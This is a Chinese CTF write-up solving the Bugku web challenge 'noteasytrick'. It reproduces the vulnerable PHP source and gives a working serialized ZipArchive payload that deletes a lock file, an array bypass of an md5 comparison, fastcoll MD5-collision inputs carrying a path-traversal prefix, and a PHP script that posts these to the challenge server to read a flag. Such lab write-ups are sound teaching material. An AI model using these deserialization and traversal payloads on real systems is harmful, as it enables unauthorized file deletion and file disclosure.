【bugku-WEB】 noteasytrick wp

天气太热了,学不进去,做做ctf题打发下时间~_~

考点

原生类反序列化

构造不同文件内容相同文件hash值(fastcoll工具)

解题思路

题给出的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
public $filename;
public $content;
public $me;

function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
}

class Ctf {
function __toString() {
return "die";
}
function open($filename, $content){
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}

}
}

if(!isset($_POST['a'])){
highlight_file(__FILE__);
die();
}else{
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
unserialize($_POST['c']);
}

}

解题思路

首先需要通过序列化原生类ZipArchive删除/sandbox/lock.lock文件,这里需要注意的是,不能够直接去序列化ZipArchive类,如果直接对该序列化,序列化中文件的路径值会为空,需要通过题目给出的Jesen类,通过控制$this->me变量赋值为实例化的ZipArchive$j1->filename要赋值为./sandbox/lock.lock$j1->content赋值为ZipArchive::OVERWRITE。然后再对Jesen类进行序列化,再将序列化的值进行提交,这里的条件if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))先用数组进行绕过。这样就会把lock.lock文件删除掉。

经过上面的操作后,我们就可以绕过if(!file_get_contents("./sandbox/lock.lock"))这个条件,

但是读取文件file_get_contents(substr($_POST['b'],0,30))这里用到了$_POST['b']接收参数值,这样一来,我们就不能用数组来绕过($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))这个条件,因为我们需要拿到$_POST['b']值。

但是我们可以用fastcoll工具来生成两个相同hash,内容不一致的文件。

因为通过substr($_POST['b'],0,30)只读取了前30位字符串作为参数来执行,可以通过构造./../../../../../../../../flag30位作为文件的前缀,使用fastcoll进行hash碰撞。

最后只需要将两个文件的内容读取出来,然后再提交,就能读取到flag。

但是需要注意的一点就是,如果通过file_get_contents读取出来,对其进行url编码后,然后通过post提交上去,是不行的,经过在本地测试,对两个文件读取出来进行url编码在进行md5加密后得到的值是不一致的。所以在解题过程中我使用file_get_contents直接将文件内容读取出来,然后通过php来提交这个请求,就拿到了flag。

解题过程

指定文件前缀通过fastcoll构造hash一致内容不一致的文件。

readflag.txt

1
./../../../../../../../../flag
1
fastcoll_v1.0.0.5.exe F:\Tools\hash碰撞\readflag.txt
image-20220826185348334

通过原生ZipArchive类,删除/sandbox/lock.lock文件

1
2
3
4
5
6
$j1 = new Jesen();
$j1->me = new ZipArchive();
$j1->filename = "./sandbox/lock.lock";
$j1->content = ZipArchive::OVERWRITE;

var_dump(serialize($j1));
1
a[]=aaaa&b[]=bbbb&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$postdata = http_build_query(
array(
'a' => file_get_contents("readflag_msg1.txt"), // hash碰撞出来的文件
'b' => file_get_contents("readflag_msg2.txt"),
'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";s:0:\"\";s:7:\"content\";s:0:\"\";s:2:\"me\";N;}"
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://114.67.175.224:12225/', false, $context);
echo $result;
?>